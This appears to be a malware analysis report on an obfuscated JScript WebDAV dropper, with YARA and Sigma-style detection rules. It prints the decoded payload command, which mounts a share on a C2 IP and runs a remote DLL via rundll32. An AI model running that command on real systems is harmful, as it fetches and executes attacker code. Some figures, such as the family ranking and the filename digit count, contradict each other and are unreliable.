unclassified-js-webdav-dropper: f2316aaf — 3,451-char variable-name padding, 62-entry noise-key dictionary, C2 94.159.113.86:8888

Executive Summary

Another JScript dictionary lookup-table dropper in the established WebDAV family. The payload assembles a net use + rundll32 \\C2\share\*.dll,Entry chain via a 62-entry character table hidden behind a 3,451-character object name (third-longest in family after dfb1eb98 at 3,787 chars and dbdb99f1 at 2,337 chars). No PowerShell wrapper, no wordpad decoy, no timeout anti-emulation gate, no sandbox checks — a minimal execution footprint. C2 is 94.159.113.86:8888, a new host in the 94.159.113.x subnet that now accounts for eleven confirmed siblings.

What It Is

• SHA-256: f2316aaf552b9926fa8c3398e3d15a3a770e320033d03e9546ff9d9cb29aaf9f
• File size: 1,244,625 bytes (1.19 MB) ^[file.txt]
• Format: Single-line ASCII text (JScript) ^[file.txt]
• Preliminary family: unclassified-js-webdav-dropper (confirmed — 86th+ sibling)
• Obfuscation: JScript dictionary lookup-table (62 entries, random noise keys), Function('return this')() constructor chain
• Execution: rundll32 \\94.159.113.86@8888\DavWWWRoot\9906127531487.dll,Entry
• Static only — no CAPE detonation (JScript is not a supported binary class)

How It Works

The sample is a single-line JScript blob containing:

1. A single object declaration with a 3,451-character variable name (lowercase English-alphabet noise), assigned an object literal with 62 properties. Each property name is a random noise string (8–20 lowercase chars); each value is a single-character string literal. ^[floss.txt:1]
2. A payload region using bracket-reference concatenation — the object is indexed by noise-string keys to yield individual characters, which are concatenated into an executable expression. 193 bracket references drive the payload construction. ^[strings.txt]
3. The assembled expression evaluates to: (new Function('return this'))()['WScript']['CreateObject']('WScript.Shell')['run']('cmd /c net use \\94.159.113.86:8888\DavWWWRoot && rundll32 \\94.159.113.86:8888\DavWWWRoot\9906127531487.dll,Entry') ^[floss.txt:1]

No timeout anti-emulation gate, no PowerShell -EncodedCommand wrapper, no wordpad decoy, no try/catch decoy pairs — stripped-down execution compared to siblings like e6252c92 or dbdb99f1.

C2 Infrastructure

Interesting Tidbits

• Variable-name length record chase: The 3,451-char object name is the third-longest observed in the family (after dfb1eb98 at 3,787 chars and dbdb99f1 at 2,337 chars). Padding is purely lowercase English alphabet, no special characters — likely hand-written or a simple generator. ^[strings.txt]
• No anti-analysis whatsoever: No timeout, no sandbox gate, no locale checks, no VM detection. The actor appears to rely entirely on the obfuscation layer and the transient WebDAV share. ^[floss.txt:1]
• Consistent 94.159.113.x migration: The C2 subnet has been used exclusively since the 64th sibling (f8dce7df). This sample adds .86 to the roster (previously .79, .82, .84, .204). Infrastructure is likely a single hosting block with rotating last octets. ^[/intel/analyses/f8dce7df01e67193715270902da32b193a7497b5ad82d8e8721516ed6654fd5d.html]
• Payload filenames remain numeric: 9906127531487.dll follows the 14-digit numeric pattern observed across the 94.159.113.x sub-cluster. No semantic content, high entropy — good for signature evasion, poor for clustering.

Deployable Signatures

YARA rule

rule WEBDAV_JS_DictDropper_f2316aaf {
    meta:
        description = "JScript WebDAV dropper with dictionary lookup-table obfuscation and rundll32 execution"
        author = "PacketPursuit"
        date = "2026-07-21"
        hash = "f2316aaf552b9926fa8c3398e3d15a3a770e320033d03e9546ff9d9cb29aaf9f"
    strings:
        $a = /[a-z]{3000,}:/
        $b = "DavWWWRoot"
        $c = "rundll32"
        $d = "Entry"
        $e = "Function('return this')"
        $f = /net use \\\\[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}@8888/
    condition:
        all of ($a,$b,$c,$d,$e) or ($f and $b and $c)
}

Behavioral hunt query (Sigma-like)

title: WebDAV JS Dropper - rundll32 UNC Execution
detection:
  selection:
    ParentImage|endswith:
      - '\wscript.exe'
      - '\cscript.exe'
    CommandLine|contains|all:
      - 'rundll32'
      - 'DavWWWRoot'
      - '@8888'
      - '.dll,Entry'
  condition: selection

IOC list

Behavioral fingerprint

This sample is a single-line JScript blob (1.2 MB) that declares an object with an extremely long lowercase-alphabet variable name (3,000+ chars), assigns it 62 noise-key properties mapping to single characters, then uses 190+ bracket-index lookups to assemble a WScript.Shell command that mounts a WebDAV share on 94.159.113.86:8888 and executes a remote DLL via rundll32 ...,Entry. No anti-emulation, no decoy, no PowerShell wrapper — pure JScript execution chain.

Detection Signatures

References

• unclassified-js-webdav-dropper — cluster entity page
• js-dictionary-char-lookup-obfuscation — technique page
• webdav-regsvr32-dll-sideloading — related technique page
• MalwareBazaar / abuse.ch ingestion (SHA-256 f2316aaf...)

Provenance

Analysis performed 2026-07-21 on pp-hermes (<lan>). Tools: Python 3.11 regex extraction (manual table extraction), file (file.txt), strings (strings.txt), floss (floss.txt). No CAPE detonation — JScript is not a supported binary class. ^[sample f2316aaf/file.txt] ^[sample f2316aaf/strings.txt] ^[sample f2316aaf/floss.txt]